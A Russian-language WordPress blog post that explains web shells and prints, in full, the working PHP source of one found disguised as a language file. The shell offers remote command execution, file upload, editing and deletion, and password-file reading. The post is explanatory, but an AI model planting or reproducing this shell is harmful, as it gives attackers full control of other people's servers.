Реальный пример веб-шелла, обнаруженного в Вордпресс

Реальный пример веб-шелла, обнаруженного в Вордпресс

27 мая 2019

Найти и удалить вредоносный код с сайта не сложно. Гораздо сложнее отыскать в системе брешь, через которую он туда попал. Сегодня я покажу реальный пример веб-шелла, который недавно обнаружил на одном из сайтов.

Топ 10 продающих лендингов для Вордпресс

Во-первых, что такое «веб-шелл»

Веб-шелл (web-shell) — вредоносный скрипт, который используется злоумышленниками для управления чужими сайтами и серверами. Веб-шеллы чаще всего обеспечивают доступ к файловой системе, базам данных, позволяют выполнять команды терминала, осуществлять брутфорс паролей и т.п.

Веб-шелл представляет собой серьёзную угрозу безопасности сайта.

Обнаружить визуально веб-шелл в Вордпресс не просто. Сильно упростить задачу помогает сканирование хорошим антивирусом. Известные шеллы обычно находятся быстро. Как проверить сайт антивирусом я расскажу в следующий раз.

В этот раз обнаружился Web-shell by (c)ShAnKaR.php
Он лежал в папке локализаций Вордпресс, имел вполне логичное имя, и при беглом осмотре не вызывал никаких подозрений.

/wp-content/languages/en_default.php

Конечно, если включить голову, расширение php в languages должно насторожить. Но когда файлов огромное количество, и от них рябит в глазах, заметить такое сложно.

<?php
//error_reporting(0);
@ini_restore("safe_mode"); 
@ini_restore("open_basedir"); 
if(get_magic_quotes_gpc()){
while(list($key,$val)=each($_POST)){
$_POST[$key]=stripslashes($val);}}
ini_set(«magic_quotes_runtime», 0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
function font($color,$text,$size=4){return("<font color=$color size=$size >$text</font>");}
function w($a){return str_repeat(" ",$a);}
function b($b){return "<b>$b</b>";}
function e($e){switch($e){
case 0:return('no such file');
case 1:return('no such dirictory');
case 2:return('permission denied');
case 3:return('is not dirictory');
case 4:return('is a dirictory');
}}
function test_file($filename){
return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));}
if(isset($_POST['downl']) && !empty($_POST['downf'])){
if(!preg_match('/^\//',$_POST['downf'])){
$_POST['downf']=$_POST['th'].'/'.$_POST['downf'];}
if(!test_file($_POST['downf'])){
if(!is_dir($_POST['downf'])){
$fd=fopen($_POST['downf'], "rb");
$nam=preg_replace('/.+\//','',$_POST['downf']);
header("Content-Type: application/octet-stream; name=\"".$nam."\"");
header("Content-Length: ".filesize($_POST['downf']));
header("Content-disposition: attachment; filename=\"".$nam."\"");
while(!feof($fd)){
$buffer=fgets($fd,4096);
echo $buffer;
}
fclose ($fd);
exit;
}
else $error=font('red',e(4));
}
else $error=test_file($_POST['downf']);}

echo "<html><body bgcolor=white><center><table bgcolor=white height=10 border=1><tr><td><nobr>".font('blue',@php_uname())."</nobr></td></tr></table><table bgcolor=white height=10 border=1><tr><td><nobr>".font('blue',getenv('SERVER_ADDR'))."</nobr></td><td><nobr>".font('blue',getenv('REMOTE_ADDR'))."</nobr></td></tr></table><br></center>\n";
if(!empty($_POST['th']))@chdir($_POST['th']);
#UP
if(isset($_POST['up']))@chdir('../');
#CD
if(isset($_POST['c']) && $_POST['cd']!=''){
if(!test_file($_POST['cd'])){
if(is_dir($_POST['cd'])){
@chdir($_POST['cd']);
}
else $error=font('red',e(3));
}
else $error=test_file($_POST['cd']);}
echo w(3)."<input type=text size=60 value=".getcwd().">";
if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE');
echo "<br>";
?>
<hr>
<form method=POST name=main>
<input type="submit" value="^" name="up">
<input type=submit name=menu value=upload> <input type=submit name=find value='find writeable'>
<br>
<input type=text name=cd> 
<input type=submit value=cd name=c>
<br>
<input type=text name=open>
<input type=submit value=open name=op>
<br>
<input type=text name=new>
<input type=submit name=cr value="new file">
<br>
<input type=text name=exec>
<input type=submit name=exe value=exec>
<br>
<input type=text name=strin>
<input type=text name=remot>
<input type=submit name=copy value=copy>
<br>
<input type="text" name="renold" >
<input type="text" name="rennew" >
<input type="submit" name="rename" value="rename">
<br>
<input type=text name=rm >
<input type=submit name=del value=del>
<br>
<input type="text" name="mkdir">
<input type="submit" name="mk" value="mkdir">
<br>
<input type="text" name="rmdir">
<input type="submit" name="rmd" value="rmdir">
<br>
<input type="text" name="ch_mod">
<?php
for($bch=1;$bch<=3;$bch++){echo"<select name=ch_p$bch>\n";
for($ach=7;$ach>=0;$ach--){echo"<OPTION value=$ach>$ach</OPTION>";}
echo"</select>";}
?>
<input type="submit" name="ch_chmod" value="chmod">
<br>

<br>
<hr>
<?php
#FIND WRITEABLE##############
if(isset($_POST['find'])){
echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" checked>Only writeable:<input type=checkbox name="onw" checked><input type=submit name=fww value="Find it">');}
if(isset($_POST['fww']) && !empty($_POST['fpath'])){
echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" '.(isset($_POST['dy'])?'checked':null).'>Only writeable:<input type=checkbox name="onw" '.(isset($_POST['onw'])?'checked':null).'><input type=submit name=fww value="Find it"><hr>');
$arrfw=array($_POST['fpath']);
$ife=0;
while(++$ife<=count($arrfw)){
$pathfw=$arrfw[$ife-1];
if(is_readable($pathfw)){
if($hfw=opendir($pathfw)){
while(false!==($ffw=readdir($hfw))){
$ffw=$pathfw.$ffw;
if(!preg_match('/\/\.+$/',$ffw)){
if(is_dir($ffw)){array_push($arrfw,$ffw.'/');}
print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/<br>",3) :(isset($_POST['onw'])?null:"$ffw/<br>")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw<br> ",3):(isset($_POST['onw'])?null:"$ffw<br>")):null));}}
closedir($hfw);}}}}


if(isset($_POST['eval'])){
echo "<textarea cols=70 rows=7 name='ev'></textarea>\n";





echo "";
}
############################################################################
#RENAME
if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){
if(file_exists($_POST['renold'])){
@rename($_POST['renold'],$_POST['rennew']);
}
else $error=font('red',e(0));
}
#

#RMDIR
if(isset($_POST['rmd']) && isset($_POST['rmdir'])){
if(file_exists($_POST['rmdir'])){
if(is_dir($_POST['rmdir'])){
if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet"); 
else $error=font('red','dir not deleted');
}
else $error=font('red',e(3));
}
else $error=font('red',e(0));
}
#
#CHMOD
if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){
if(file_exists($_POST['ch_mod'])){
@chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));}
else $error=font('red',e(0));}
#
#DELETE
if(isset($_POST['del']) && $_POST['rm']!=''){
if(file_exists($_POST['rm'])){
if(!is_dir($_POST['rm'])){
@unlink($_POST['rm']);
}
else echo "<br>".font('red',e(4)."<br>");
}
else echo "<br>".font('red',e(0)."<br>");
}
#
#EXE
if(!empty($_POST['exe'])){
if(@exec($_POST['exec'],$ar)){
echo "<textarea cols=70 rows=15>";
foreach($ar as $line){
echo $line."\n";
}
echo "</textarea>";}}
#
#OPEN FILE
if(isset($_POST['op']) && $_POST['open']!=''){
if(!test_file($_POST['open'])){
if(!is_dir($_POST['open'])){
$fil=file($_POST['open']);
echo "<textarea cols=100 rows=20 name=edit>";
foreach($fil as $vv){
echo htmlspecialchars($vv);
}
echo "</textarea><br>".font('green',"FILE : ".$_POST['open'],3);
if(is_writable($_POST['open'])==1){
echo w(2).font('green','ACCESS GRANTED');
echo "<input type=submit name=save value=save><input type=hidden value=".$_POST['open']." name=sv>";
}}
else $error=font('red',e(2));
}
else $error=test_file($_POST['open']);
}
if(isset($_POST['save'])){
$fr=fopen($_POST['sv'],"w");
$out=$_POST['edit'];
fputs($fr,$out);
fclose($fr);
}
#
#CREATE FILE
if(isset($_POST['cr']) && $_POST['new']!=''){
if(is_writable(dirname($_POST['new']))){
echo font('green',"Create new file : ".$_POST['new'],3)."<br><textarea name=newf cols=100 rows=20></textarea>
<input type=submit name=cre value=create>
<input type=hidden value=".$_POST['new']."  name=nf>";
}
else echo "<br>".font('red',e(2)."<br>");
}
if(isset($_POST['cre'])){
$ee=fopen($_POST['nf'],'w+');
$out=$_POST['newf'];
fputs($ee,$out);
fclose($ee);
}
#
#MKDIR
if(isset($_POST['mk']) && $_POST['mkdir']!=''){
if(is_writeable('./')){
@mkdir($_POST['mkdir']);
echo font('green',"dir ".b($_POST['mkdir'])." create"); 
}
else echo font('red',e(2));
}
#
echo "<input type=hidden name=th value=".getcwd()."></form>";
#UPLOAD FILE
if(isset($_POST['menu']) || isset($_POST['qq'])){
echo "
<form enctype=multipart/form-data  method=post>
Save as :<input type=text name=name>File :<input name=userfile type=file>
<input type=submit value=Send name=go_up>
<input type=hidden name=qq>
<input type=hidden name=th value=".getcwd()."></form>";
if(isset($_POST['go_up'])){
if(isset($_POST['name']) && $_POST['name']==''){
$_POST['name']=$_FILES['userfile']['name'];}
if(!preg_match('/^\//',$_POST['name'])){
$_POST['name']=$_POST['th'].'/'.$_POST['name'];}
if(is_uploaded_file($_FILES['userfile']['tmp_name'])){
@copy($_FILES['userfile']['tmp_name'],$_POST['name']);}
else echo "<br>".font('red',"Permisions denied");}}
#
#TEST PERM
if(isset($_POST['tes']) && $_POST['test']!=''){
$j=$_POST['test'];
if(file_exists($j)){
$w='';
if(is_writeable($j)){
$w=w(1).'WRITE'.w(1);
}
if(is_readable($j)){
$w=$w.w(1).'READ'.w(1);
}
echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777));
}
else echo font('red',$e(0));
}
#
#COPY
if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){
if(file_exists(dirname($_POST['remot']))){
if(file_exists($_POST['strin'])){
if(is_writable(dirname($_POST['remot']))){
if(is_readable($_POST['strin'])){
@copy($_POST['strin'],$_POST['remot']);
}
else echo font('red',"no read string file");
}
else echo font('red',"no write dest directory");
}
else echo font('red',"no such file");
}
else echo font('red',"no such dest dir");
}
#
#CHECK DISK
if(isset($_POST['free']) && $_POST['dirfree']!=''){
if(file_exists($_POST['dirfree'])){
$fre=@disk_free_space($_POST['dirfree'])/1048576;
echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb");
$fre1=@disk_total_space($_POST['dirfree'])/1048576;
echo "<br>".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb");
}
else echo font('red',"No such disk");
}
#
(isset($_POST['info']))?phpinfo():null;
#
#PASSWD
if(!empty($_POST['passwd']) && isset($_POST['passw'])){
echo "<center>".font('blue',"file : ".$_POST['passwd'],6)."</center><br><textarea cols=100 rows=15>\n";
foreach(@file($_POST['passwd']) as $fed)echo $fed;
echo "</textarea><br>\n";}
#
if(isset($error))echo $error;?>
<hr><?php
##################################################################################
if(is_readable(getcwd())){
if($h=opendir(getcwd())){
$arr=array();
while(false!==($f=readdir($h))){array_push ($arr,$f);}
closedir($h);}}
else die("<center>".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."</center>");
sort($arr);
echo '<table width=800 bgcolor=#DFD6C8 cellspacing=0 cellpadding=0 border=1>';
foreach($arr as $f){
$l=@lstat($f);
print((is_readable($f) && is_writeable($f))?"<tr><td>".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"<tr><td>".w(1).b("R").w(4):"").((is_writable($f))?"<tr><td>".w(1).b(font('red','RW',3)):"")));
$r=sprintf("%o",(@fileperms($f)) & 0777);
$fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));
if(!is_readable($f) && !is_writeable($f)) echo "<tr><td>".w(12);
echo "</td><td>$r</td><td>$fow</td>";
if(!is_dir($f)){
if(!is_link($f)){
echo w(2)."<td><i>".$l[7]."</i></td>";}
else echo "</td><td>link</td>";}
else echo "</td><td>DIR</td>";
$fi=htmlspecialchars($f);
echo "<td>".@strftime('%B %e %H:%M',@filemtime($f))."</td><td>".(is_dir($f)?font('blue',$fi,3):$fi)."</td>\n";}
?>
</table></body></html>
<?php exit; ?>

Если обратиться к нему в браузере, выглядит это так:

Интерфейс Web-shell (c)ShAnKaR.php

Как видим, веб-шелл представляет собой полноценный файловый менеджер. Можно создавать, удалять, редактировать файлы, прям там же есть простенький текстовый редактор.

И самое главное — все это прекрасно работает.

Ну, а как попадают веб-шеллы на хостинг — это уже другая, более долгая история, которая тянет на книгу, как минимум.

Еще вернемся к этому.

INNERSTAT

Подписаться на обновления
Получайте полезные знания бесплатно ➤

Популярное в этом месяце

Подпишитесь на рассылку и получайте новые материалы на электронную почту

Иван Данилин
Автор: Иван Данилин

Практикующий веб-разработчик, специализируюсь на платформе Вордпресс.

Добавить комментарий

Лучшие премиум-темы для Вордпресс от топовых разработчиков мира
Подробнее